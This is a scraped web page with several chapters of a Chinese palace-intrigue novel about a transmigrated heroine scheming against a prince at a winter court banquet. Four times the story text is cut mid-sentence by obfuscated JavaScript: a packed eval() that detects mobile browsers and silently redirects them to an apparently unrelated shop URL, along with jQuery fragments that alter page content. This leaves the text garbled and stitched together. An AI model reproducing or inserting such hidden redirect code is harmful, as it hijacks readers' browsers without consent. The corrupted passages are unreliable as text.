;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941722|146502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 润血色,不再是面黄肌瘦的可怜模样。 大殿长廊外种了新鲜花草,冷宫明显多了生机。来送膳食的太监也多了几分唯唯诺诺,不再是以往嚣张模样。膳食温热可口,散发着诱人香气。 一切都与之前截然不同。 最惹人注目还是殿中的金黄笼子,其中有一只会说话的虎皮鹦鹉。 离开的太监都得多看几眼。 “太后娘娘万福金安——” 鹦鹉突然开口,太监猛地打了个趔趄,差点摔了一跤。 “公公小心些。”萧和颐用手逗弄着鹦鹉,瞧了眼太监,眼神算不上友善。 从前的“恩情”她还记得。 太监匆忙离开。 虎皮鹦鹉用手轻啄她的手指,似乎很喜欢眼前之人。忽然,鹦鹉开始念诵大段经书。 若是让寻常人见了,必定惊讶的合不拢嘴。 萧和颐给鹦鹉喂吃的。 冷宫突然来了客人,是太后宫里的女官,前来让萧和颐领着鹦鹉去万寿宫。 萧和颐跟在女官身后,一同前往万寿宫。走在宫道上,她回忆起前几日的经历。 太后爱诵读经书,意外得了只会诵读经书的鹦鹉,爱不释手。可就是近日,鹦鹉忽然变得沉默寡言,也不爱吃东西,一直病蔫蔫的。 太医院的大夫来了好几次,都束手无策。 可奇怪的是,等在宫道上碰上路过的萧和颐,鹦鹉的嗓子突然好了。只要是萧和颐靠近,它便开心进食。 太后当即把人找召进万寿宫。 仔细询问才得知萧和颐的身份,眼前的孙女长期待在冷宫受欺负,却是个懂佛经心善之人,实属难得。 太后心下一软,直接让萧和颐来养鹦鹉。 一来二去,萧和颐已经可以顺理成章出入万寿宫。后宫之人得知此事,都长了眼色,冷宫也不再是从前模样。 太后每次想见鹦鹉,都要把人给召来。这次萧和颐换了身新衣裳,发顶扎了两个发包,看起来简直像一个小福童。 太后看着更喜欢了,眉目间多了几分慈爱。只是可惜了她那个偶尔发疯的母妃,不然就可以直接养在身边。 萧和颐在万寿宫静静为太后抄录经书,乖巧的让人心疼,走的时候又被塞了一堆赏赐。 萧和颐行礼:“多谢太后娘娘。” 太后抬手,萧和颐立即上前。太后轻抚她的发顶,温声道:“日后唤一声皇祖母即可。” 萧和颐先是愣了几秒,随后露出甜甜的笑,眼中更是含着泪光:“多谢皇祖母厚爱。” 等出了万寿宫,天色逐渐暗下来,宫道上已经有人提着昏黄宫灯照路。 她与一名男子擦肩而过。 萧时寂正在前往明月宫,忽然停住脚步,回头看去,那少女的背影如此熟悉。 他觉得是自己看花了眼,出声问一旁太监:“公公,方才过去的是何人?” “啊……”太监也回头看,把宫灯挑起,用一双不大好的眼神使劲眯眼瞧:“哦,回殿下,那位好像是翠华宫的公主。” 翠华宫,也就是萧和颐所在的冷宫。 16. 第 16 章 再次见到萧和颐,还是眼下的这幅情形,萧时寂自然是意外的。可这一世意料之外的事情已经太多,相比之下也算不得什么。 萧和颐并不落魄,身旁宫人对她毕恭毕敬,与前世在冷宫被欺辱的样子有天壤之别。 再想雪中送炭只怕是不易。 萧时寂眸光沉沉,衣袖中的手紧了又紧。 太多的事脱离掌控。 一旁的太监眼睛滴溜溜转,瞧着早已不见人影的宫道,小心打量身旁人的神色。 这怎么突然关心起冷宫的人来了? 太监垂首提醒:“七殿下,娘娘还在等您。” 萧时寂终于收回视线。 接下来的一个月,萧时寂不知在忙些什么,竟没有踏足沈府。然而,他还是惦记着沈府的海棠苑,派人里里外外送来许多礼品,信中所言满是关切。 沈府中人皆称赞七皇子深情,也羡慕三小姐能得到这份宠爱。 沈流筝露出玩味的笑。这份日后中毒病残的福气给你你要不要? 孟朝颜心软,将从齐王那里打探的消息悉数讲过萧时寂。或许是要安抚孟朝颜,萧时寂在她面前刻意避免提及沈流筝。 即便如此,他也认为把沈流筝牢牢放在了心上。 转眼到了要进宫的日子。 昨夜的京师城落了层晶莹白雪,融化的雪水在屋檐结出冰挂,晶莹剔透。 雪晴天霁,空气清冷。 海棠苑种着红梅,空气中隐隐散着清幽花香,令人心旷神怡。忽然,寂静祥和的氛围被打破,快步走进院落的红色翻毛斗篷映入眼帘。 “冻死了冻死了……”骆席玉使劲搓着双手,哈着白气,加快了往海棠苑走的脚步。 骆席玉缠着沈流筝一道去参加冬宴,这让骆将军诧异不已。 从前每每碰上入宫的时候,不是称病推辞,就是外逃出游,这次竟破天荒要主动前往。 女儿变化如此之大,骆将军不由得开始留意沈流筝。 屋帘挑开,眉眼带笑的侍女连翘急忙给递来暖炉,关切道:“骆姑娘,快暖暖手吧。” 骆席玉进屋:“嘿嘿好,多谢连翘姐姐。” 骆席玉来的次数不少,对海棠苑早已熟悉。等进屋绕过帷幔,瞧清换了个妆容的沈流筝,一时间看呆了。 几日不见,眉眼怎么又像是长开一般,明媚极了。一双清眸黑白分明,额头的红色花钿更添几丝可爱。 骆席玉手突然痒痒的。 她忍住伸手捏她脸蛋的冲动,调侃道:“不知道的,还以为你这是要去宫宴争皇子选妃,若我是个男子,那必定心悦——” 沈流筝懒懒抬眼,打断她的话:“那可真是太谢谢您了。” 骆席玉撇了撇嘴。 沈流筝:“我看你兴致不错,看来这几日的箭术精尽不少啊。” 闻言,骆席玉又蔫了几分,满眼幽怨:“天呐,你瞧瞧这说的还是人话吗?” 这话简直是往人心窝子里戳。 自从射箭输给沈流筝,骆席玉就开始日夜苦练射箭,但至今还做不到把箭靶射穿。 还差的太远。 沈流筝往外走,骆席玉还站在原地,神游般地想着射箭技巧。 “走吧,未来的骆大将军。”沈流筝站在屋帘下,稍稍歪头,“射箭这东西慢慢练,等到去边境之时,你的箭术必定在所有人之上。” 骆大将军。 骆席玉眼睛亮起来,对这个称呼很受用,身心都舒畅起来,笑眯眯道:“嘿嘿,我还是很喜欢听你说话的。” 两人还没走出沈府,碰上了迎面走来的郭氏和沈挽月。看得出来,两人身上的装扮很用心,像是要出去见什么人。 自从搬出海棠苑,沈挽月便觉得哪哪都不舒服,见到沈流筝不愿说一句话,眼中还藏着怨气。 这会儿见到沈流筝的模样,又添了几分嫉妒。 一旁郭氏拿捏腔调道:“呦,瞧瞧,这是准备去宫宴呢?也不知道能不能见到想见的人,只有东西送来,人却不愿意来,不觉得奇怪吗?” “我们这会可是要去见平阳侯府。”说话间,眉眼多了几丝得意。 如同前世一般,沈挽月与平阳侯府的小世子有了交集,如今被邀请去平阳侯府赏梅,郭氏欣喜不已。 平阳侯府的请柬亲自送来,而她沈流筝呢?七皇子又如何,还不是一个月都没露面。 七皇子与孟丞相之女从前可是对璧人,说不定到头来,一切都是沈流筝的痴心妄想。 沈挽月听完郭氏的话,心中也舒畅几分,仿佛明日便能嫁到平阳侯府,做个侯府夫人。 沈流筝瞧着两人一来一回,眉眼逐渐染上笑意,只静静看着也不开口。 就如同看戏一般。 郭氏突然觉得不自在,觉得自己仿佛是在台上唱戏的人。 骆席玉抱臂往前走一步,率先开口:“沈流筝,你这个妹妹,啊不,你们沈府的四小姐,怎么瞧着这眼妆画得忒浓,渗人的很。” “你说什么?”郭氏瞬间变了脸色。 沈挽月眼神惊恐,立马抬手摸自己的脸颊,使唤侍女回去取铜镜。 骆席玉:“我说,平阳侯府今日可不止邀请了四小姐,京师城没去宫宴的适龄女子都去了,若是心头火热,还是先喝杯茶水降降火。” 骆席玉说话直接,气的郭氏脸色发白。 骆席玉冷哼一声:“若是给众人去宫宴的机会,你猜,他们会不会换?” 谁都知晓,宫宴不是想去就能去,自然比侯府的请柬贵重的多。 “娘,你看她们……”沈挽月跺跺脚,突然觉得手中请柬也没那么值得欣喜的。 郭氏已经彻底歇菜了。 沈流筝眉眼弯弯:“那我就在此祝挽月妹妹称心如意,早日嫁入平阳侯府。” 这番话明晃晃的亮出沈挽月心底所想,让她又羞又恼。 或许沈挽月想着成了侯府夫人,便能高枕无忧,可只有沈流筝知道,平阳侯家的小世子给女子带来的只有厄运。 得偿所愿,说是祝福,不如说是诅咒。 …… 皇宫内红墙高筑,宫道繁多,若是不常来很容易迷路,但沈流筝却走的很快,席玉跟在身后。 这般熟悉,倒像是来过很多次。 骆席玉也不知道走的是那条路,只觉得周身越发安静。忽然,前面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023717|146502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人停下脚步,一不留神便撞了上去。 骆席玉揉着额头,看沈流筝的视线落在一处,也跟着看过去。 不远处雪地里有一个人,蹲着身子缩成小小一团,身上围了件紫色斗篷,看起来就像个紫色团子。 地上随意摆着红梅树枝,看起来像是在占卜。 神女虞昭。 这个念头忽然钻进骆席玉脑海。刚想跟沈流筝说,却只见她已经往虞昭的方向走。 厚靴踩在雪上,发出吱呀声。 虞昭闻声转头,额头的一点红与梅花相互映衬。 见到来人,虞昭眼中露出惊喜,她将手中红梅送给沈流筝:“沈姑娘,我们之前见过的,这个就送给你。” 虞昭对沈流筝有股莫名的好感。 神秘且可爱。 她还是算不出沈流筝的命格。 瞧见身后还有一人,虞昭也给骆席玉送了支红梅,两人接过道谢。 骆席玉对鬼神之说存疑,但天机处毕竟算准了许多事情,观感还算良好。更何况对面是个同龄少女,骆席玉很是和善。 沈流筝一脸无害:“神女在这里,是在等什么人吗?” 虞昭:“是啊,我在这里等着大师兄。可是,到现在还没见到人影。” 大师兄便是国师闻人珏。 沈流筝:“外头天寒,神女不如跟我们一道去万寿宫,等国师大人有了空,自然会出现。” 虞昭应下:“也对,多谢两位姑娘好意。” 几人一道离开,在雪地中留下长长的足迹。 皇帝和太后一向信鬼神之说,虔心向佛。 半月之前,天机处便向皇帝回禀,今年气候相比往年都要冷一些。果然,雪下的都提早很多。 由此,皇帝对天机处更信赖了。 还没走到殿内,就听到群臣应和声。 “瑞雪兆丰年,今年必定是丰收之年。” “是啊是啊,是陛下和太后福泽绵延,我朝百姓才得以庇佑。” “……” 皇帝和太后的笑声传出,一派祥和之气。 皇帝坐在最上方,太后坐在身侧。今日来的大多是皇室子弟,太后目光和蔼地扫过座下之人。 可等目光落在萧时寂身上却是一凝,眉头不由得拧起。 她向来不喜欢这个七皇子。 太后信佛,可七皇子出生时有高僧曾算出有血光之灾。等到后来,当真是诸事不顺。再加上不喜他的生母静妃李氏。 如此,这份不满一直藏在心底。 太后最喜齐王,性格憨厚且贴心,时常来看望自己。幼时让孟朝颜入宫,也是专门为撮合齐王做准备的,可他萧时寂呢,偏偏要出来搅乱齐王与孟朝颜的感情。 所以直至今日,太后都为齐王觉得委屈,把什么入不得眼的手段都瞧得清楚。 一股不满的目光落在身上,萧时寂却不敢抬头看。那是他的皇祖母,纵使不甘也无可奈何。 萧时寂手中的茶盏握紧,指尖泛白。 这时,外头突然传唤:“神女虞昭到——” 众人都看过去,等瞧清楚一起来了三位姑娘,目光凝在沈流筝身上。 17. 第 17 章 最先看过来的是萧时寂,见到久违思念之人,他紧皱的眉头稍稍松开,眼中流露欣喜。 而孟朝颜见到沈流筝跟着神女一道进殿,脸上神色霎时间变得僵硬。 其他人眼中更多的则是好奇。 瞧着众人的微妙神色,太后眼中多了几丝探究,旁侧女官凑近她耳边,低声提醒神女身旁二人的身份。 原来是骆将军视若珍宝的独女,还有……沈府三小姐。 太后不喜萧时寂,对沈流筝也没有好感,可毕竟是神女带来的人,也不多说什么。 风铃谷在大周朝是个神秘的存在,可以说能影响皇室运势。神女虞昭在宫中地位很高,受人尊崇。 皇帝见到虞昭,爽朗道:“神女请上座。” “多谢陛下。”虞昭回答的声音清脆,带着两位好友一道坐在了视野极佳的上座。 皇帝特意往殿外瞧了几眼,不见闻人珏的身影,关心起他的动向,问道:“神女,今日怎么不见国师的身影,莫不是有什么事耽搁了?” 虞昭:“回禀陛下,大师兄说他晚点有东西要呈给陛下,那东西在天机阁中,此时大师兄他应当正在来的路上。” 皇帝摆摆手:“原来如此,无碍无碍,天机阁之事,确为要务。” 天机处算无遗漏,国师大人没有来那便是有要紧事。 话音一落,殿中众人神色变得微妙,原来陛下这么倚重国师大人。 沈流筝手指在杯沿缓缓摩挲杯中,茶水冒着热气,氤氲视线。她抬眼望向对面席端坐的萧时寂,眉眼思索,大抵是在想着怎么拉拢闻人珏。 不过可惜了。 她对闻人珏今日的表演更期待了。 耳边传来絮絮叨叨的低声嘈杂,是骆席玉和苏青青两个人在暗戳戳互怼。 苏青青同孟朝颜一样,父亲皆为朝中忠臣,所以按照世家女子的排位坐在了上面。 本来沈流筝和骆席玉按理要坐在殿门旁的位置,却因为跟着虞昭坐在了不该坐地方。 苏青青越想越不服气。 狗仗人势。 骆席玉耳力极好,听到隔壁的谩骂声火气涌上心头,冷哼道:“谁人不知,你苏青青整日像条癞皮狗一般黏在孟朝颜身后,甩也甩不掉。别人孟朝颜是才女,而你苏青青呢,只会在阴暗角落嚼人口舌。” 苏青青第一次被骂的如此厉害,脸色铁青:“骆席玉!你!你粗鲁无比!” 骆席玉唇角勾起:“我就喜欢粗鲁,你信不信我一拳能给你打到殿外去。” 说话间,她晃动手腕,像是下一刻就会动手。 苏青青立刻怂了。 再说下去,骆席玉或许真的会当众打人,毕竟骆将军那副护犊子的模样为了她连陛下都敢违抗。 苏青青眼神瞥向一边:“我不与粗鲁的人计较。” 骆席玉幽幽叹口气,捏起一块糕点塞进嘴里,指着对面的萧时寂道:“你说,人家孟朝颜婚约已定,有人还不懂得避嫌,这算是个怎么回事?” “还有,身上有婚约的人也往人家府上跑,不像个样子?” 她在为沈流筝打抱不平。 毕竟在沈府里,郭氏和沈挽月敢嘲笑沈流筝也是因为萧时寂和孟朝颜那些破事。 若是别人的事,如何情情爱爱冲破世间枷锁都无所谓,可她不容许别人有机会嘲笑沈流筝。 苏青青知道这是在点孟朝颜,为好友辩解:“你懂什么,朝颜这么做都是因为她心善。七殿下、七殿下他实在是痛苦,朝颜是去安抚他的……你不懂就不要胡说……” 骆席玉不让下风,眼中笑意满含嘲弄:“哦,我明白了,心善就可以为所欲为,搬弄是非。” 苏青青说不过她,扭开头看向别处。 恰好此时,殿外再次传来传唤声:“翠华宫五公主到——” 太后冷峻的神色瞬间柔和,脸上浮现出笑意。 殿中款款走来一位娇小的少女,双手提着一只金丝笼,笼中关着一只羽毛华丽的鹦鹉。 萧和颐行礼:“儿臣参见父皇,参见皇祖母。” 笼中的鹦鹉似乎有所感应,拍着翅膀跳动起来,随即清脆地叫道:“陛下万岁万岁万万岁,太后娘娘千岁千岁千千岁——” 众人对此惊奇不已。 太后笑意温和,向萧和颐招手道:“来来来,和颐,来坐到皇祖母身边来。” 呦,这是冷宫的公主翻身了。 众人不由得开始细细打量起萧和颐,她身上穿的是公主华服,还有头上的精美金钗,明显是万寿宫提前送去的。 “多谢皇祖母。” 萧和颐乖巧行礼,提着笼子缓步走向上座。她微笑着环视左右,目光掠过熟识之人时闪过一丝异样,旋即便淡然收回视线,径直走到太后身旁落座。 沈流筝垂眸喝茶,仿佛对这一切视若无睹,也从不曾认识萧和颐。 太后拉上她的手,眼中的慈爱几乎要溢出来,温柔地注视着这个久未亲近的孙女。皇帝也开始重新审视这个女儿,大抵只在她刚出生时见过一面。 鹦鹉叽叽喳喳叫个不停,打破殿中平静:“太后万寿金安,万寿金安——” 殿中人面面相觑,随后都站起身,朝太后行礼,异口同声道:“太后娘娘万寿金安——” 太后心情极好,止不住点头:“哈哈哈哈,好好好!” 皇帝孝顺,见这个五公主如此得太后欢心,心中也欣慰,当即下旨赏赐无数,宫宴一散便尽数送往翠华宫。 座下的萧时寂没想到她与太后的关系如此融洽,远远超出预料。 不过这样也好,等拉拢了萧和颐,不仅能博得父皇的欢心,还能得皇祖母的青睐。 宫宴即将开始,却还是不见闻人珏的身影,皇帝大手一挥,众人开始品尝御厨佳肴。 然而过了不久,天机处的小修士突然前来,还带来了一个紫金木匣子。 东西直接呈到皇帝面前。 天机处向来有特权,若有禀报,可以直接越过所有人,直接呈给皇帝看。 皇帝依赖天机处。 不少大臣暗地里指摘闻人珏是佞臣,可奈何皇帝听信。当然,众人也只敢在心里想,不敢往外说,毕竟谁也不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028444|146502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做这掉脑袋的事。 紫金木匣开启,特制的纸卷上写着一段话。 皇帝的脸色瞬间变得阴沉。 太后坐的近,观察细致,见不对劲立即询问:“皇帝,发生了何事?” 这副神情想必不是好事,太后的心悬了起来。 座下的众人都停了动作,行事小心翼翼,生怕此时触怒龙颜。 只有沈流筝眉眼微垂,唇角隐约露出玩味笑意。 这就是闻人珏的法子? 那就揭晓吧。 皇帝挥手示意,东西被太监总管送到太后面前。皇帝言语不悦:“朕想着,母后还是自己看吧。” 纸卷上的字清晰展开,太后脸色变得更快。 萧和颐趁机也瞥了一眼,将纸上内容牢牢记下。 卜辞上写道,皇宫内一位皇子气运深重,恍若紫微星降世,其气势正占据东南之位,牵引国运,致使天象反常。 原来如此,这就解释了为什么今年京师城的冬天来的这么早,这么冷。 而且卜辞上还记载,不出半月,临近各州县恐亦难逃劫难,灾祸渐起。 皇宫东南之位,皇子…… 符合要求的皇子只有两个。 太后猛地抬眼,凌冽声音喊道:“齐王,七皇子,你们两个上前来。” 太后的目光简直想要吃人。 座下众人心下一惊,少见太后有这样的神情。 沈流筝再抬眼,眼中已全是懵懂之色,像不知道发生了何事,也跟着一起看向殿中。 齐王和七皇子有些僵硬站着,一同抬手行礼:“皇祖母。” 太后目光在两人身上流转,不想出声苛责齐王,还是在萧时寂身上先挑开话。 “你们二人近日都在做些什么?” 太后看的人是萧时寂,与齐王对视一眼后,率先沉稳答道:“回皇祖母,儿臣近日在读兵法,研习布阵之法,冀望能日后稳固边境,护佑社稷。” 他语气虽平静,眉宇间却透出一股坚毅之色。 齐王随即接话道:“最近跟着太傅学习治理之策,儿臣愚钝,但愿日后能为父皇分忧。” 太后追问:“你们觉得为何今年京师城的寒冬来的如此猝然而凌冽呢?” 这话问的人摸不着头脑,站着的两人一时不知如何作答。 恰在此时,天机处呈上了最新的卜辞。 太后着急要瞧请里面的东西,等真瞧清楚上面赫然写着的名字,她便浑身一震,紧咬牙关低声喃喃:“果然……果然不出我所料。早该猜到,早该猜到的!” 太后呼吸不畅,忽然恶狠狠瞪向萧时寂:“七皇子你可真是好样的!” 萧时寂自幼被太后视为不祥之兆,始终是心头挥之不去的一根刺。 萧时寂猛地抬头看向太后:“皇祖母!” 太后却冷喝一声,语气决绝:“不要叫我皇祖母!” 此言一出,殿中顿时寂然,众人皆惊愕不已,萧时寂脸色骤变也愣在原地。 当着朝臣与宫人的面,太后竟这般断然斥责他,这简直比杀了他还可怕。 18. 第 18 章 大殿之上,众人都垂首不发一言,太后的狠绝重重砸在萧时寂心头。 原来皇祖母是如此讨厌他。 萧时寂与太后对视,想看透心中所想,究竟他是做了什么不可饶恕之事? 太后忍着怒气,将脸瞥向一侧。 “够了!”皇帝脸色阴沉,开口打破大殿中沉重寂静,直接将手边卜辞扔出去,“你不就是想知道为什么吗,自己去看吧。” 卜辞径直飞向殿中,只差分毫便砸到人的脸上,最终滚落在脚边。 萧时寂没有丝毫闪躲,只弓下身子将东西捡起,缓缓展开纸卷紧盯上面的字迹。 天灾出于人祸。 原来如此,竟是如此。 萧时寂克制痛苦神色,撩起衣袍跪在地上,朝座上人请求:“还请父皇、皇祖母给我两个月时间,我去解除灾情。” 太后冷笑:“就凭你?” 纸卷几乎被捏碎,萧时寂唇边勾起笑意:“是,儿臣还望皇祖母成全。” 说罢,低头深深磕下去,发出沉闷声响。 太后眯起眼眸。 皇帝手边的紫金木匣,还有这离奇的卜辞,都让萧时寂在心里给天机处狠狠记上一笔。 纵然日后天机处要为他做事,也绝不遗漏此事。 太后一时没有松口的迹象。 孟朝颜已经坐不住了,下一刻便要站起身,可身边的齐王按住她的手。 齐王朝她摇了摇头,孟朝颜咬紧下唇眼眶湿润,可令她没想到的是,齐王随即起身走到殿中,在萧时寂的身旁跪了下去。 这是来求情。 齐王也看清了纸卷上的字,先是一惊随后缓住心神道:“皇祖母,天灾难料,七弟他对此事一无所知,可七弟关心百姓愿意出力,还请皇祖母就答应他吧。” 齐王没有说天机处的测算有误,这只会让两人怒气更甚。 齐王向来仁善,这番做法又博得了很多好感。 既然齐王已经出面,孟朝颜按耐不住,也跟着上前求情:“还望太后娘娘答应齐王和七殿下的请求。” 见到有人求情,太后心中的怒火一下子烧了起来,气极反笑:“好好好,你这未来的齐王妃为别的皇子当众求情,真是让哀家大开眼界。你们如此把哀家架在火上烤,让哀家如何能不答应。” “皇祖母,您同意了!” “太后娘娘,您同意了!” 孟朝颜和齐王脸色一喜。 可太后话音突转,又道:“哀家答应了你们的请求,可这该罚还是丢不得!七皇子在府上禁闭一月,不许任何人探望!一月之后再前往临近州县视察民情罢。” 太后指令下达,一锤定音。 皇帝也不加反驳。 天机处的卜辞是机密,在场只有几人得知,大殿众人都不清楚发生了何事,都被这突如其来的惩处整懵了。 萧时寂再深深叩拜:“儿臣……谢过皇祖母。” 孟朝颜瘫坐在地上,眼中满是心疼,齐王将她扶起坐回原位。 黑色眼睫遮住全部思绪,眸底如同深渊,没人看得清萧时寂在想什么。 他孤身离开。 宫宴似乎恢复如常,觥筹交错,重新洋溢起众人的谈笑声。 骆席玉担忧地看向身旁人,弱弱问道:“他这样你不会心疼了吧?” 沈流筝一直垂着头,闷声不吭,也不怪骆席玉这样想。 只怕是跟着难过伤心了。 可渐渐的,骆席玉正想着安慰的措辞,突然听到低低的笑声传来,扭头见到沈流筝的肩膀似乎在抖动。 嗯? 骆席玉揉了揉眼,她没看错吧,沈流筝这是在笑?怕不是难过傻了吧? 她刚要伸手去触碰沈流筝,却像是被施了咒语一般,静止在原地。 酒壶中正在倒出来的美酿,众人谈话唇边勾起的笑痕,还有孟朝颜悬在眼睫上的泪珠…… 周身的一切突然都不动了。 除了沈流筝。 忽然,头顶冰冷的显示屏散发出刺眼金光,出现残损的书页飞速翻开,一页页文字转换,像是发生了乱码重新书写。 【警告:剧情已严重偏离!】 这是系统第一次出现如此严重的崩坏,以至于书籍的内容要进行改写。 上一世的宫宴与今日大有不同,那时的萧时寂不知用了什么法子求太后定下婚约,顺便博得了众人一波好感。 当时也是为了气孟朝颜,将沈流筝牢牢与他绑在一起。 从那以后,沈流筝受苦的道路才算是正式开始。 然而这一世,彻底全变了。 沈流筝津津有味的欣赏着书籍的混乱,眸底浮着浅浅笑意。 她发现了闻人珏这个书中变数,靠近他,利用他,让剧情偏离原书的路线走,致使剧情崩坏。 她成功了。 只要系统会崩坏,那说明所作的一切都是奏效的,也必须奏效。她从不贪心,要的也不多,她只是想要自由而已。 萧时寂上一世给原身带来的折磨,这一世还想要规划,所以他必须死。 头上的金光开始强烈闪烁。 系统带来惩罚。 沈流筝手上的筋脉暴起,咬紧牙关也无法缓解身上密密麻麻的剧痛,似有千万根针同时刺下。 脑海中传来刺痛,过往的记忆纷卷袭来,像是要重组记忆,系统甚至要重新规划记忆,要控制她的意识。 沈流筝将嘴唇咬出血,颤抖着手捏起手边瓷杯,砰的一声碎裂,鲜红血迹顺着手心滴落。 一滴一滴落下,让沈流筝的恢复些神智。 她不甘心! 难道受苦受难为萧时寂铺路是应作的吗?不! 她不认同! 就算惩罚再多再狠,就算今天死了,她也要掀翻这TM扯淡剧情! 冰冷的显示板金光暴烈,让沈流筝几乎失明,下一刻,书籍疯狂翻动合上,一切消失。 周身恢复正常。 骆席玉低声惊呼:“呀!你这手是怎么了,怎么流血了?” 这时她才瞧清楚沈流筝的煞白脸色,额头冷汗直冒,都顺着脸颊流下来。 骆席玉彻底慌了,急忙撕下衣袍布条,给沈流筝包裹手心细密伤口,心疼抱怨:“你别吓我呀,为了个萧时寂也不该如此伤害自己的身体啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049857|146502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆席玉越想越生气,手下动作却是轻柔:“沈流筝,下次不许这样伤害自己,知道了吗!” 沈流筝嘴角抿的很紧,抬眼看她,虚弱的声音说道:“我要回府。” 不能晕倒在宫殿里。 骆席玉瞧着她的神情愣了片刻,也没多问为什么,带着她就往出走。 两人从无人在意处离开宫宴。 刚走出殿外,细小雪花飞散,凉席袭来。 沈流筝额头发烫的可怕,脸颊是不寻常的病态红色,整个人早已支撑不住,一到殿外就晕了过去。 骆席玉没预想到,此时人被走来的男子一把接过,才不至于倒在地上。 沈流筝昏迷之前看到的是闻人珏。 那便暂时安全了。 闻人珏想要知道她的秘密,就必定会让自己安然活着。 沈流筝被带去了天机处。 不知过了多久,整个人退了烧,从药香和桂花浅香中睁眼醒来。 沈流筝走下床,房中的布局与小岛上一模一样,让人一时间产生错觉,出去站在高处看着绵延宫殿才能确定人还在皇宫里。 天机处同样没有什么人影。 沈流筝往天机阁走,是天机处最高的建筑,推开古朴厚重殿门,光透进去,里面的人缓缓回身看来。 闻人珏果然在这里。 他身前是一座巨型架构,上面有台类球状的观测仪,浮动在空中,微光照亮周边的浮尘。 沈流筝无法解释亲眼所见之物,她走近,问:“你是用此物测气象,所以可以预料一月之后会有寒灾。” 由此可以写出准确无误的卜辞,凭着皇帝和太后的信任,借此机会将灾情安在萧时寂的身上。 她没想到,闻人珏竟然能如此拿捏住太后的心思,让萧时寂碰上这么大的危机,简直在所有人面前失了脸面。 沈流筝看到周身有很多类似的东西,稀奇古怪,甚至可以测算一切气象灾祸,这些都是可以他所利用的东西。 只要闻人珏想,就可以让皇帝下令治罪任何人。 沈流筝看他。 闻人珏也看过来:“你猜得都对。” 对于沈流筝的话,闻人珏不意外。天机阁的许多东西不曾为外人所见,即便是亲眼见到也无法理解,可是沈流筝不一样,能接受也能理解。 闻人珏低头笑了一下,转身往外走。 沈流筝跟上。 闻人珏边走边问:“你身上有什么毛病?” 上次见面也是莫名其妙的昏倒,没有中毒迹象,可查遍全身并没有发现蛊虫,着实少见。 沈流筝:“怕是生下来就有的,小毛病而已,不过国师大人可能治?” 闻人珏:“治不了。” 难得见说话如此直白的大夫,沈流筝挑眉:“国师大人还真是个爽快人,不过能力有限。” 两人即将走出殿外,闻人珏忽然停下,缓缓回头,半张脸隐在暗处,他道:“我救了你两次。” 沈流筝轻笑:“我也帮了你两次。” 闻人珏眉间如冰雪消融,化开笑意:“哦,是在下不知,沈姑娘竟有如此大的本事?” 19. 第 19 章 宽阔大殿透进风声,观测仪周围的齿轮和链条转动,发出轻微的金属碰撞声。 门外清冷阳光映入,将两人的身影拉得很长。 沈流筝:“我引导萧时寂去西南插手赈灾之事,刚好方便了国师大人您做事。” 那时恰逢闻人珏插手宫中事宜,他精心安排好齐王等人的命格,避开了风铃谷的视线。 “还有一件,我也为大人您费了些心思,让人截断了萧时寂的追查。若是他查到些有关谢家的事,大人不就得被迫与他交换筹码?” “如何?” 闻人珏上辈子就是因为此事而被牵制,这次沈流筝派路无劫去处理,斩断了萧时寂的线索。 风铃谷看重萧时寂,可闻人珏不喜。 听到谢家,闻人珏微微眯眼,眼底闪过一丝冰冷,表情却依旧不动声色:“看来你当真不怕我杀了你。” “我可没说我不怕,只不过……”沈流筝眼底笑意浮现,透出抹挑衅,往前走了一步,“国师大人尽管试试,看看究竟是你赢,还是我活。” 两人挨得很近,闻人珏清晰地闻到她身上淡雅清香。 沈流筝面容清丽动人,可爱甜美,此刻却说着截然不同的冷峻话语。黑白分明的杏眼眨呀眨,亮晶晶的,仿佛带着某种玩味。 四目相对,闻人珏眸光沉静如水。 他高出沈流筝许多,站在一起身高差距明显,不动声色收回视线,抬脚朝殿外走去。 沈流筝耸了耸肩。 走到殿外,正好碰上了从宫宴上偷偷溜出来的虞昭。 